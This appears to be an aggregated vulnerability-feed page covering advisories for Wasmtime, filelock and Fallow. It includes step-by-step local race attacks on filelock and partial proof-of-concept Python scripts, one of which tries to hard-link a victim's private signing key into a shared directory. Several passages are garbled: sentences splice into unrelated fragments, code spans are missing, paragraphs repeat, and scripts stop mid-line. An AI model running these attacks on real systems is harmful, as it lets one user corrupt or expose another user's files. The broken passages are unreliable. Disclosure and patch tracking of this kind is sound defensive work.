FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-115892&date=2026-10-25
### Summary

Wasmtime may panic when the host lowers a component model `stream` or `future` into a guest, if the host created that stream or future with one payload type and the guest expects a different one. This can happen when an embedder creates a stream or future, passes it through a guest, receives it back under a type-erased type such as `StreamAny` or `FutureAny`, and then passes it to a guest function with a different payload type.

GHSA-63h4-6cx9-pjfj is a related advisory also fixing issues within this area, and this advisory is being issued for portions of Wasmtime that were not fixed as part of that advisory.

### Impact

This affects embedders that do all of the following:

1. Create streams or futures on the host with `StreamReader::new` or `FutureReader::new`
2. Pass them to guest code and receive them back as `StreamAny`, `FutureAny`, `Val::Stream`/`Val::Future`, or a typed reader whose payload is one of these.
3. Pass them on to a guest function whose `stream` or `future` payload type differs from the type the host created them with.

A guest can cause the mismatch in step 3 when it controls the types of the functions it exports or of the values it returns. In that case a malicious guest can make the host panic, a denial of service. Embedders that only use statically typed `StreamReader `/`FutureReader ` with concrete payload types throughout, or that never pass streams or futures they created through a guest and back, are not affected.

Affected package ranges reported by GitHub:
wasmtime: >= 46.0.0, < 48.0.7
wasmtime: >= 49.0.0, < 49.0.4
Action: GitHub lists first patched versions: wasmtime: 48.0.7; wasmtime: 49.0.4. Confirm the affected range and upgrade guidance in the exact advisory.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Wasmtime: Bit-packing in Cranelift compiler causes silent overflow and miscompilation
https://kevwire.com/record/CVE-2026-115889
Wasmtime: Bit-packing in Cranelift compiler causes silent overflow and miscompilation (Oct 23, 2026).
In Wasmtime prior to v43, the Cranelift compiler backend bit-packs its SSA value indices in a way that can result in silent overflow in release builds, and result in incorrect value references in the IR resulting in arbitrary miscompilation. A very large Wasm function body, or one that is specially crafted to use many SSA values, can use this to force type-confusion or other arbitrary side-effects and escape the sandbox.

Cranelift was changed in Wasmtime v43 to use a full `u32` index, with checks if that limit is exceeded, and so is no longer susceptible to this bug.
CVSS 9.9 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-115889).
EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-115889&date=2026-10-25).
Sources:
GitHub-reviewed advisory GHSA-897f-g5gm-fmxm: https://github.com/advisories/GHSA-897f-g5gm-fmxm
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc
NVD CVE-2026-115889: https://nvd.nist.gov/vuln/detail/CVE-2026-115889
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=500
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-115889&date=2026-10-25
## Summary

In Wasmtime prior to v43, the Cranelift compiler backend bit-packs its SSA value indices in a way that can result in silent overflow in release builds, and result in incorrect value references in the IR resulting in arbitrary miscompilation. A very large Wasm function body, or one that is specially crafted to use many SSA values, can use this to force type-confusion or other arbitrary side-effects and escape the sandbox.

Cranelift was changed in Wasmtime v43 to use a full `u32` index, with checks if that limit is exceeded, and so is no longer susceptible to this bug.

## Impact

A Wasmtime engine with default settings (using the Cranelift backend) on any architecture/platform could experience a sandbox escape from a specially-crafted Wasm module.

## Patches

Wasmtime v36.0.19 has been released which fixes this issue.

Affected package ranges reported by GitHub:
wasmtime: < 36.0.19
wasmtime: >= 37.0.0, < 43.0.0
Action: GitHub lists first patched versions: wasmtime: 36.0.19; wasmtime: 43.0.0. Confirm the affected range and upgrade guidance in the exact advisory.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### filelock: SoftFileLock evicts a fresh lock file whose watched age another local user's pre-dated file passed on through inode reuse
https://kevwire.com/record/CVE-2026-112906
filelock: SoftFileLock evicts a fresh lock file whose watched age another local user's pre-dated file passed on through inode reuse (Oct 23, 2026).
`SoftFileLock` and `MarkerSoftFileLock` evict an unparsable marker (the lock file at ` `, whose presence says a process holds the lock) once a waiting contender has watched it unchanged for two seconds. `SoftFileLease` expires a lease the same way. The watch tells two looks apart by the marker's modification time (mtime) and inode number (the kernel's identity for a file, independent of its name) alone.

Another local user (the other user below) who can create files in the lock's directory, a sticky `/tmp` included (the sticky bit is a directory flag that lets only a file's owner remove it), parks an empty file of its own at the lock path. It dates that file to a future tick of the kernel's coarse clock (a clock that advances in steps of 4 ms), lets the waiters of the user running the lock (the lock user below) watch it past two seconds, and unlinks it in that tick. On a filesystem that hands a freed inode number straight back (ext4, overlayfs on ext4) the lock user's next marker repeats both values. It inherits the time spent watching the other user's file, and a second waiter removes it while its owner holds the lock.
CVSS 4.7 (version 3.1; evidence as of Oct 23, 2026; https://github.com/advisories/GHSA-2g95-wg33-c5x2).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-112906&date=2026-10-25).
Sources:
GitHub-reviewed advisory GHSA-2g95-wg33-c5x2: https://github.com/advisories/GHSA-2g95-wg33-c5x2
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-112906&date=2026-10-25
`SoftFileLock` and `MarkerSoftFileLock` evict an unparsable marker (the lock file at ` `, whose presence says a process holds the lock) once a waiting contender has watched it unchanged for two seconds. `SoftFileLease` expires a lease the same way. The watch tells two looks apart by the marker's modification time (mtime) and inode number (the kernel's identity for a file, independent of its name) alone.

Another local user (the other user below) who can create files in the lock's directory, a sticky `/tmp` included (the sticky bit is a directory flag that lets only a file's owner remove it), parks an empty file of its own at the lock path. It dates that file to a future tick of the kernel's coarse clock (a clock that advances in steps of 4 ms), lets the waiters of the user running the lock (the lock user below) watch it past two seconds, and unlinks it in that tick. On a filesystem that hands a freed inode number straight back (ext4, overlayfs on ext4) the lock user's next marker repeats both values. It inherits the time spent watching the other user's file, and a second waiter removes it while its owner holds the lock.

Two of the lock user's processes then run the critical section together with no error. A `SoftFileLease` waiter takes a live lease that its owner wrote moments before, within milliseconds instead of after `lease_duration`. Affected versions: filelock >= 4.1.0 and /stat`, so for about 75 µs (measured) the marker exists and is empty. A contender that polls in that gap must not take the marker for garbage, and the check that protects it is the two-second watch. `_try_break_stale_lock` reads the marker, finds no holder, and calls `break_lock_file(lock_file, mtime, ino)` only if `_marker_unchanged_for(mtime, ino)` reaches `MALFORMED_LOCK_AGE_THRESHOLD` (2.0 s). That function keeps `self._marker_seen = ((mtime, ino), first seen)` across polls and returns the elapsed monotonic time (time from a clock that only moves forward) while the pair repeats.

Neither half of the pair belongs to one file. A file's owner sets its mtime to any value with `utime`, a future time included, and ext4 gives the inode number of an unlinked file to the next file created in the directory.

1. While the lock is free, the other user creates an empty file at the lock path (inode `I`) and sets its mtime to `T`, a tick of the coarse clock about 2.2 s in the future.
2. Every waiting process of the lock user polls each 50 ms, reads an empty file and records `_marker_seen = ((T, I), first seen)`. After 2 s each poll calls `break_lock_file`, whose `rename` fails with `EPERM` (operation not permitted; seen with `strace`): the directory is sticky and the file belongs to the other user. `suppress(OSError, ...)` swallows the error, the file stays, and nothing resets `_marker_seen`.
3. When the coarse clock reaches `T`, the other user unlinks its file. Inode `I` is free.
4. Process F of the lock user polls during tick `T`. Its `O_EXCL` create succeeds, and its marker is inode `I` with mtime `T`.
5. Process S polls before F has written its record. It reads an empty file with pair `(T, I)`, `_marker_unchanged_for` returns the 2.2 s that S spent watching the other user's file, and S calls `break_lock_file(lock_file, T, I)`.
6. `break_lock_file` compares mtime and inode before and after its rename, but with the values S just read from F's marker, so both checks pass. F's marker has S's UID, so the rename and the unlink succeed.
7. F writes its record into the unlinked inode and returns from `acquire()`. The path is empty, so the next contender to poll creates a marker and returns from `acquire()` too. F's release finds another inode at the path (`_unlink_open_marker`) and leaves it. Neither holder learns anything.

Step 4 needs a poll inside one 4 ms tick, and step 5 a second poll inside F's 75 µs gap. Step 5 is far likelier than independent 50 ms timers would make it, because contenders that wait together bunch. With filelock's DEBUG messages timestamped, nine waiters polled within 2 to 3 ms of one another, several 0.1 ms apart or closer. In a run where the other user also recorded what replaced its file, 13 of 100 successors appeared in tick `T`, and a waiter broke 7 of those 13.

`MarkerSoftFileLock` and `SoftFileLease` hand an unparsable marker to the same code, and the lease uses the clock a second time, for expiry: `if owner.mode == "lease" and self._marker_unchanged_for(mtime, ino) >= self._lease_duration: break_lock_file(...)`. `_marker_seen` is one attribute, so the same empty file primes this branch, and step 5 has no gap to hit. To every waiter, F's complete lease record with pair `(T, I)` has gone unrefreshed for `lease_duration`, until F's first heartbeat (the periodic refresh a lease holder runs). With the lock user's processes using `SoftFileLease(path, lease_duration=2)` and holding for 1 s, the same other user produced an overlap in 17 of 30 attempts. The superseded holder's `on_compromise` (the callback that tells a holder it lost the lock) reported `owner-changed` 0.67 s after it had entered, at its first heartbeat; a holder that releases before that is not told at all.

## Reproduction

The scanner's reproducer for finding `ANT-2026-RKC48J5B`, as received, ran against commit b831496b0273ecd11bf02b8d080ca8b673a538c1. The `repro` script drives the files under `repro.d/`.

**`repro`**

```python
#!/usr/bin/env python3
import os
import shutil
import subprocess
import sys
import time

LOCK_DIR = "/tmp/locks"
LOCK_PATH = "/tmp/locks/app.lock"
HOLDS_LOG = "/tmp/holds.log"

def start_victims():
 # a root-owned sticky directory like /tmp, and ten processes of user victim taking turns on one lock in it
 shutil.rmtree(LOCK_DIR, ignore_errors=True)
 os.mkdir(LOCK_DIR)
 os.chmod(LOCK_DIR, 0o1777)
 victim = [sys.executable, "/tmp/repro.d/victim.py", LOCK_PATH]
 with open(HOLDS_LOG, "w") as holds_log:
 return [
 subprocess.Popen(victim, stdout=holds_log, user="victim", group="victim", extra_groups=[])
 for _ in 

Affected package ranges reported by GitHub:
filelock: >= 4.1.0, <= 4.2.0
Action: GitHub lists first patched versions: filelock: 4.2.1. Confirm the affected range and upgrade guidance in the exact advisory.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### filelock: SoftFileLock stale-break restore follows a swapped-in symbolic link and hard-links a file of the user running the lock into the lock directory
https://kevwire.com/record/CVE-2026-112914
filelock: SoftFileLock stale-break restore follows a swapped-in symbolic link and hard-links a file of the user running the lock into the lock directory (Oct 23, 2026).
When a soft-lock stale break finds that the marker (the lock file at ` `) it renamed aside was a live one recreated by a successor, the restore branch of `break_lock_file()` checks the break name with `lstat` (a check that reads a name without following a symbolic link) and then calls `os.link(break_path, lock_file)` by name. On CPython 3.12 and later on Linux (and on macOS) that call follows a symbolic link (a file that redirects to another path). A local user (the other user below) who can write a shared lock directory without the sticky bit (a directory flag that lets only a file's owner rename or remove it) replaces the break name with a symbolic link between those two calls.

The `SoftFileLock`, `MarkerSoftFileLock`, `SoftFileLease` or `lifetime` break of the user running the lock (the lock user below) then creates a hard link (a second name for the same file), in that directory, to any of the lock user's own files on the same filesystem. That includes files inside directories the other user cannot enter and links that `fs.protected_hardlinks` (a Linux setting that forbids hard links to files one does not own) refuses the other user when it asks itself. The link exposes the file's size, times, mode and owner, keeps the inode (the kernel's identity for a file, independent of its name) alive, and gives the other user a name it can move. On 4.2.0 a later `FileLock` of the lock user on that name truncated the file. Affected versions: filelock >= 4.1.0 and . `. In a directory without the sticky bit the lock user may rename a file it does not own.
2. The other user still owns that file and gives it a newer mtime (modification time) after the `lstat` on line 113. Line 117 then takes it for a recreated marker, and line 119 sees a regular file.
3. The other user renames a symbolic link to the lock user's private file over the break name.
4. Line 121 resolves the link with the lock user's credentials, so `app.lock` becomes a second hard link to the private file. Line 122 removes the symbolic link.
CVSS 5.3 (version 3.1; evidence as of Oct 23, 2026; https://github.com/advisories/GHSA-crv4-6mhj-j5jh).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-112914&date=2026-10-25).
Sources:
GitHub-reviewed advisory GHSA-crv4-6mhj-j5jh: https://github.com/advisories/GHSA-crv4-6mhj-j5jh
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-112914&date=2026-10-25
When a soft-lock stale break finds that the marker (the lock file at ` `) it renamed aside was a live one recreated by a successor, the restore branch of `break_lock_file()` checks the break name with `lstat` (a check that reads a name without following a symbolic link) and then calls `os.link(break_path, lock_file)` by name. On CPython 3.12 and later on Linux (and on macOS) that call follows a symbolic link (a file that redirects to another path). A local user (the other user below) who can write a shared lock directory without the sticky bit (a directory flag that lets only a file's owner rename or remove it) replaces the break name with a symbolic link between those two calls.

The `SoftFileLock`, `MarkerSoftFileLock`, `SoftFileLease` or `lifetime` break of the user running the lock (the lock user below) then creates a hard link (a second name for the same file), in that directory, to any of the lock user's own files on the same filesystem. That includes files inside directories the other user cannot enter and links that `fs.protected_hardlinks` (a Linux setting that forbids hard links to files one does not own) refuses the other user when it asks itself. The link exposes the file's size, times, mode and owner, keeps the inode (the kernel's identity for a file, independent of its name) alive, and gives the other user a name it can move. On 4.2.0 a later `FileLock` of the lock user on that name truncated the file. Affected versions: filelock >= 4.1.0 and . `. In a directory without the sticky bit the lock user may rename a file it does not own.
2. The other user still owns that file and gives it a newer mtime (modification time) after the `lstat` on line 113. Line 117 then takes it for a recreated marker, and line 119 sees a regular file.
3. The other user renames a symbolic link to the lock user's private file over the break name.
4. Line 121 resolves the link with the lock user's credentials, so `app.lock` becomes a second hard link to the private file. Line 122 removes the symbolic link.

The other user's own `os.link()` on the private file fails with `EACCES` (it cannot enter the `0700` directory). On a file of the lock user it can reach, `fs.protected_hardlinks=1` answers `EPERM` (operation not permitted). The lock user would evict the odd "marker" after `MALFORMED_LOCK_AGE_THRESHOLD` (2 s), so the other user moves it to another name first, which the non-sticky directory allows. Both steps are races against a few lines of Python. There are about 40 µs between the `lstat` on line 113 and the one on line 117 (half of it the `rename`), and about 2 µs between line 117 and the `os.link()` call. inotify tells the other user when to act. A watch reports the lock user closing the marker after reading it, then the rename together with the break name. A bump that comes before line 113 costs nothing, since line 113 returns and the lock user looks again on its next poll.

## Reproduction

The scanner's reproducer for finding `ANT-2026-SB29HIAL`, as received, ran against commit b831496b0273ecd11bf02b8d080ca8b673a538c1. The `repro` script drives the files under `repro.d/`.

**`repro`**

```python
#!/usr/bin/env python3
import os
import shutil
import subprocess
import sys

sys.stdout.reconfigure(line_buffering=True)

SHARED_DIR = "/tmp/shared-locks"
LOCK_PATH = SHARED_DIR + "/app.lock"
PRIVATE_DIR = "/home/victim/private"
KEY_PATH = PRIVATE_DIR + "/signing.key"
AS_VICTIM = {"user": "victim", "group": "victim", "extra_groups": []}
AS_ATTACKER = {"user": "attacker", "group": "attacker", "extra_groups": []}
# strace alters no call. On calls that name the lock path it holds the victim 2 s after rename() and 2 s before
# linkat(), that is on both sides of the lstat of the break name in break_lock_file() (src/filelock/_util.py:117).
SLOWED_DOWN = ["strace", "-o", "/dev/null", "-P", LOCK_PATH, "-e", "trace=rename,linkat"]
SLOWED_DOWN += ["-e", "inject=rename:delay_exit=2000000", "-e", "inject=linkat:delay_enter=2000000"]

# set up: the victim's key in a 0700 directory, and a lock directory anyone can write, without the sticky bit
shutil.rmtree(PRIVATE_DIR, ignore_errors=True)
os.mkdir(PRIVATE_DIR, 0o700)
with open(KEY_PATH, "w") as key_file:
 key_file.write("0123456789abcdef\n")
os.chmod(KEY_PATH, 0o600)
shutil.chown(PRIVATE_DIR, "victim", "victim")
shutil.chown(KEY_PATH, "victim", "victim")
shutil.rmtree(SHARED_DIR, ignore_errors=True)
os.mkdir(SHARED_DIR)
os.chmod(SHARED_DIR, 0o777)
key_before = os.stat(KEY_PATH)
print(f"{KEY_PATH}: links={key_before.st_nlink} size={key_before.st_size}")
for knob in ("protected_hardlinks", "protected_symlinks"):
 print(f"fs.{knob} =", open(f"/proc/sys/fs/{knob}").read().strip())

# control: the attacker cannot give the key a name in the shared directory by itself
link_by_attacker = f"import os; os.link({KEY_PATH!r}, {SHARED_DIR + '/by-attacker'!r})"
control = subprocess.run([sys.executable, "-c", link_by_attacker], capture_output=True, text=True, **AS_ATTACKER)
print("CONTROL the attacker's own link() of the key:", control.stderr.strip().splitlines()[-1])

# attack: the victim takes an ordinary SoftFileLock while the attacker works on the break name
subprocess.run([sys.executable, "/tmp/repro.d/plant_stale_marker.py", LOCK_PATH], check=True, **AS_ATTACKER)
attacker = subprocess.Popen([sys.executable, "/tmp/repro.d/swap_break_name.py", LOCK_PATH, KEY_PATH], **AS_ATTACKER)
victim_job = [*SLOWED_DOWN, sys.executable, "/tmp/repro.d/victim_job.py", LOCK_PATH]
subprocess.run(victim_job, check=True, timeout=60, **AS_VICTIM)
assert attacker.wait(timeout=30) == 0, "the attacker did not get through its steps"

# check, as root: does the key now have a name in the shared directory?
key_after = os.stat(KEY_PATH)
names_of_the_key = [
 name for name in os.listdir(SHARED_DIR) if os.path.samestat(key_after, os.lstat(f"{SHARED_DIR}/{name}"))
]
print(f"OBSERVED {KEY_PATH}: links={key_after.st_nlink}, names in {SHARED_DIR} with its inode: {names_of_the_key}")

if names_of_the_key:
 # w

Affected package ranges reported by GitHub:
filelock: >= 4.1.0, <= 4.2.0
Action: GitHub lists first patched versions: filelock: 4.2.1. Confirm the affected range and upgrade guidance in the exact advisory.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### filelock ReadWriteLock: SQLite reopens the lock database by name, so a planted symlink or journal file makes the lock user's process overwrite or unlink its own files
https://kevwire.com/record/CVE-2026-112940
filelock ReadWriteLock: SQLite reopens the lock database by name, so a planted symlink or journal file makes the lock user's process overwrite or unlink its own files (Oct 23, 2026).
`ReadWriteLock` and `AsyncReadWriteLock` (the SQLite-backed reader/writer lock) hand SQLite a name they do not control. On Linux the lock validates its database through a descriptor (the number the kernel gives a process for an open file). It then connects SQLite to `/proc/self/fd/ `, a Linux path that names the process's own open file `n`. SQLite turns that path back into a plain path and reopens it by name, following symlinks (a symlink is a file that points at another path). On every POSIX route SQLite also acts on `-journal`, `-wal` and `-shm` files it finds beside that name. Those are SQLite's side files: the rollback journal (pages saved to undo an interrupted write), the write-ahead log or WAL (changes kept outside the main file), and the shared-memory index for the WAL.

Another local user who can create or rename entries in the directory that holds the lock database can turn this against the user running the lock (below: the lock user). Such a directory is a `0777` or group-writable cache, build or project directory without the sticky bit (a directory flag that lets only a file's owner remove or rename it). That other user can make the lock user's ordinary `read_lock()` or `write_lock()` write bytes of the other user's choosing into the lock user's own files. The same position lets the other user make that call create or unlink files of the lock user, admit a reader beside a writer, or kill the holder. All of this runs with the lock user's privileges. In a sticky directory such as `/tmp` a planted `-wal` file makes every acquire fail. Affected versions are filelock 3.20.4 through 4.2.0 (the `/proc/self/fd` redirect since 4.0.9, the side-file variants since 3.20.4).
CVSS 7.1 (version 3.1; evidence as of Oct 23, 2026; https://github.com/advisories/GHSA-v4x8-3wr5-3wq8).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-112940&date=2026-10-25).
Sources:
GitHub-reviewed advisory GHSA-v4x8-3wr5-3wq8: https://github.com/advisories/GHSA-v4x8-3wr5-3wq8
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc
NVD CVE-2026-112940: https://nvd.nist.gov/vuln/detail/CVE-2026-112940
Vendor advisory (via NVD references): https://github.com/tox-dev/filelock/security/advisories/GHSA-v4x8-3wr5-3wq8
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-112940&date=2026-10-25
`ReadWriteLock` and `AsyncReadWriteLock` (the SQLite-backed reader/writer lock) hand SQLite a name they do not control. On Linux the lock validates its database through a descriptor (the number the kernel gives a process for an open file). It then connects SQLite to `/proc/self/fd/ `, a Linux path that names the process's own open file `n`. SQLite turns that path back into a plain path and reopens it by name, following symlinks (a symlink is a file that points at another path). On every POSIX route SQLite also acts on `-journal`, `-wal` and `-shm` files it finds beside that name. Those are SQLite's side files: the rollback journal (pages saved to undo an interrupted write), the write-ahead log or WAL (changes kept outside the main file), and the shared-memory index for the WAL.

Another local user who can create or rename entries in the directory that holds the lock database can turn this against the user running the lock (below: the lock user). Such a directory is a `0777` or group-writable cache, build or project directory without the sticky bit (a directory flag that lets only a file's owner remove or rename it). That other user can make the lock user's ordinary `read_lock()` or `write_lock()` write bytes of the other user's choosing into the lock user's own files. The same position lets the other user make that call create or unlink files of the lock user, admit a reader beside a writer, or kill the holder. All of this runs with the lock user's privileges. In a sticky directory such as `/tmp` a planted `-wal` file makes every acquire fail. Affected versions are filelock 3.20.4 through 4.2.0 (the `/proc/self/fd` redirect since 4.0.9, the side-file variants since 3.20.4).

Anthropic's OSS Scanner reported this in private as `ANT-2026-KMJ2575J` [high, CWE-363]: ReadWriteLock: SQLite still follows planted symlinks, overwriting files.

## Severity

**CVSS 3.1 `CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H` scores 7.1 (High).** `AV:L` (local): the other user needs an account on the same host. `PR:L` (low privileges): an ordinary account is enough. `UI:N` (no user interaction). `AC:L` (low attack complexity): the planted-journal variant needs no race, and the redirect won 77 of 77 attempts. `I:H` (high integrity impact): the other user writes bytes of their choosing into files of the lock user and unlinks files of their choosing. `A:H` (high availability impact): the other user makes every acquire fail or kills the lock holder. `C:N` (no confidentiality impact): the other user learns nothing. `S:U` (scope unchanged): the effect stays within the lock user's own privileges.

Classification from the external review: **conditional security**, a cross-user effect that exists only when another user can change names in the lock database's directory. The review notes that the 77/77 inotify result (inotify is a Linux interface that reports file events) is stronger evidence than a theoretical TOCTOU (a time-of-check to time-of-use race). The scanner rated it high. The review accepts the mechanism and narrows it to that precondition.

## Scope and preconditions

- The other party is a different local account that can create or rename entries in the directory that holds the lock database. That is a `0777` directory or a group-writable one (including a setgid `2775` project directory shared with that account), in each case without the sticky bit. The lock user's lock must be able to open the database read-write, so a database the other user creates is `0666`. filelock itself creates the database `0600`.
- Sticky directories (`/tmp`, `/var/tmp`, any `1777` directory) narrow the finding rather than exclude it. The redirect and the journal replay do not reach a database the lock user owns there (tested with `fs.protected_regular=2`). What remains is a planted non-empty ` -wal` (any mode; a directory or FIFO works too) that the lock user cannot unlink. It makes every acquire raise `sqlite3.OperationalError: disk I/O error`. A hard link (a second name for the same file) to a file of the lock user at the lock path also remains, if `fs.protected_hardlinks=0`.
- Two kernel settings matter. `fs.protected_regular` (1 or 2 is the systemd default on most distributions; the kernel's own default is 0) keeps a user from opening a file another user owns in a sticky world-writable directory. Where it is 0, the other user can own the database in `/tmp`, and SQLite follows a planted symlink itself (not tested). `fs.protected_hardlinks=1` (most distributions; kernel default 0) blocks a hard link of a lock user's file onto the lock path. Neither setting affects a non-sticky shared directory.
- Platform and route. The `/proc/self/fd` redirect is Linux with `/proc` mounted, 4.0.9 and later. The side-file variants (`-journal`, `-wal`, `-shm`) exist on every POSIX route. On the hard-link route (macOS since 4.1.1 for every connection, Linux without `/proc`) they need the link-directory swap described under "Mechanism", so a non-sticky parent. Neither the scanner nor the review executed on macOS; the statement rests on the platform branch and the identical code after it. Windows does not take this path.
- Ancestor boundary. Protection against another local user is possible only while no other user can replace the lock's directory or any of its ancestors. That holds when each ancestor belongs to the user or root and is either not writable by others or sticky. A user who can rename an entry in a non-sticky directory above the lock controls every name below it. No file-based lock can defend against that.

## Affected code

At the scanned commit `b831496b0273`: [`_connect_through_descriptor` builds `/proc/self/fd/ ` and hands it to `sqlite3.connect`](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_read_write.py#L982-L1001). The assumption is the [comment at line 63](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_read_write.py#L63), "Descri

Affected package ranges reported by GitHub:
filelock: >= 3.20.4, <= 4.2.0
Action: GitHub lists first patched versions: filelock: 4.2.1. Confirm the affected range and upgrade guidance in the exact advisory.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Fallow: A `.*` glob segment let an analyzed repository make Fallow test paths in the parent of the project root
https://kevwire.com/record/GHSA-h4fr-cmh5-qr62
Fallow: A `.*` glob segment let an analyzed repository make Fallow test paths in the parent of the project root (Oct 23, 2026).
Fallow expands some globs from the analyzed repository on disk. Before 3.34.0, a segment such as `.*`, `.?` or `..*` in such a glob also matched the special `..` entry. The `glob` crate tests `..` against a segment that starts with a literal `.`. Fallow validates plugin glob patterns and refuses absolute paths and `..` segments, but these segments passed that validation.

The attacker controls the repository content. The attacker must also be able to read the Fallow output, for example a CI log or a pull request comment. Then the attacker can learn if a file or directory exists in the parent of the project root:
CVSS 3.3 (version 3.1; evidence as of Oct 23, 2026; https://github.com/advisories/GHSA-h4fr-cmh5-qr62).
Sources:
GitHub-reviewed advisory GHSA-h4fr-cmh5-qr62: https://github.com/advisories/GHSA-h4fr-cmh5-qr62
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc
### Impact

Fallow expands some globs from the analyzed repository on disk. Before 3.34.0, a segment such as `.*`, `.?` or `..*` in such a glob also matched the special `..` entry. The `glob` crate tests `..` against a segment that starts with a literal `.`. Fallow validates plugin glob patterns and refuses absolute paths and `..` segments, but these segments passed that validation.

The attacker controls the repository content. The attacker must also be able to read the Fallow output, for example a CI log or a pull request comment. Then the attacker can learn if a file or directory exists in the parent of the project root:

- A plugin `fileExists` detection pattern such as `.*/marker.json` made the plugin active when `marker.json` existed in the parent directory.
- An external plugin `configPatterns` or `alwaysUsed` pattern could match a config file in the parent directory. When the plugin was active and declared `toolingDependencies`, the tooling detection credited the related dev dependency. An unused dependency finding could then disappear, and `--trace-dependency` printed the outside path.
- `fallow plugin-check` reported `path_exists: true` for a seeded entry that matched only in the parent directory.

Fallow tested only that these paths exist. It did not read or print the content of a file outside the project root through these globs.

The Jest, Vitest and Rstest project globs had the same `.*` problem, and the Jest and Vitest ones also read file content. GHSA-jfwm-3p3c-6hx5 describes that case.

### Patches

Fixed in 3.34.0. Fallow now rewrites a leading `.` in a wildcard segment to `[.]` before it expands the glob on disk. `[.]` matches the same hidden files and directories inside the project root. The `glob` crate does not test `..` against it.

### Workarounds

Run Fallow only on repositories that you trust. Before you run Fallow on another repository, check the `detection`, `configPatterns` and `alwaysUsed` patterns of its plugin files.

Affected package ranges reported by GitHub:
fallow: < 3.34.0
@fallow-cli/fallow-node: < 3.34.0
fallow-cli: < 3.34.0
fallow-config: < 3.34.0
fallow-core: < 3.34.0
Action: GitHub lists first patched versions: fallow: 3.34.0; @fallow-cli/fallow-node: 3.34.0; fallow-cli: 3.34.0; fallow-config: 3.34.0; fallow-core: 3.34.0. Confirm the affected range and upgrade guidance in the exact advisory.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Fallow: Jest and Vitest `projects` entries let an analyzed repository make Fallow read files outside the project root
https://kevwire.com/record/CVE-2026-115569
Fallow: Jest and Vitest `projects` entries let an analyzed repository make Fallow read files outside the project root (Oct 23, 2026).
Fallow reads the Jest and Vitest configs of the repository that it analyzes. A Jest `projects` entry or a Vitest `test.projects` entry can name a path. Fallow followed such an entry to a config file and read that file, also when the file was outside the project root. These forms reached outside the root:

- an absolute path or glob, for example `/etc/*`;
- a path with `..` segments, for example `../*`;
- a glob with a `.*` segment, because the `glob` crate also tests `..` against a segment that starts with a literal `.`;
- a symlink in the project root to a directory above it;
- the `extends` path of a Vitest inline project;
- a script `--config` path that is a symlink to a file outside the project root.
CVSS 3.3 (version 3.1; evidence as of Oct 23, 2026; https://github.com/advisories/GHSA-jfwm-3p3c-6hx5).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-115569&date=2026-10-25).
Sources:
GitHub-reviewed advisory GHSA-jfwm-3p3c-6hx5: https://github.com/advisories/GHSA-jfwm-3p3c-6hx5
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-115569&date=2026-10-25
### Impact

Fallow reads the Jest and Vitest configs of the repository that it analyzes. A Jest `projects` entry or a Vitest `test.projects` entry can name a path. Fallow followed such an entry to a config file and read that file, also when the file was outside the project root. These forms reached outside the root:

- an absolute path or glob, for example `/etc/*`;
- a path with `..` segments, for example `../*`;
- a glob with a `.*` segment, because the `glob` crate also tests `..` against a segment that starts with a literal `.`;
- a symlink in the project root to a directory above it;
- the `extends` path of a Vitest inline project;
- a script `--config` path that is a symlink to a file outside the project root.

Fallow parsed each of these files as a test runner config. Fallow used the content only to credit dependencies, setup files and JSX import sources. Thus unused dependency and unused file findings could change. Fallow did not print the content or send it over the network.

The Fallow threat model states that analysis reads only inside the project root. A crafted repository could make Fallow read files that the user did not expect. Such a read can happen in CI, or when an agent runs Fallow on a cloned repository. The attacker gets changed findings, not the file content.

Versions 2.68.0 to 3.33.1 read outside files through Jest `projects`. Version 3.33.1 also read them through Vitest `test.projects`.

### Patches

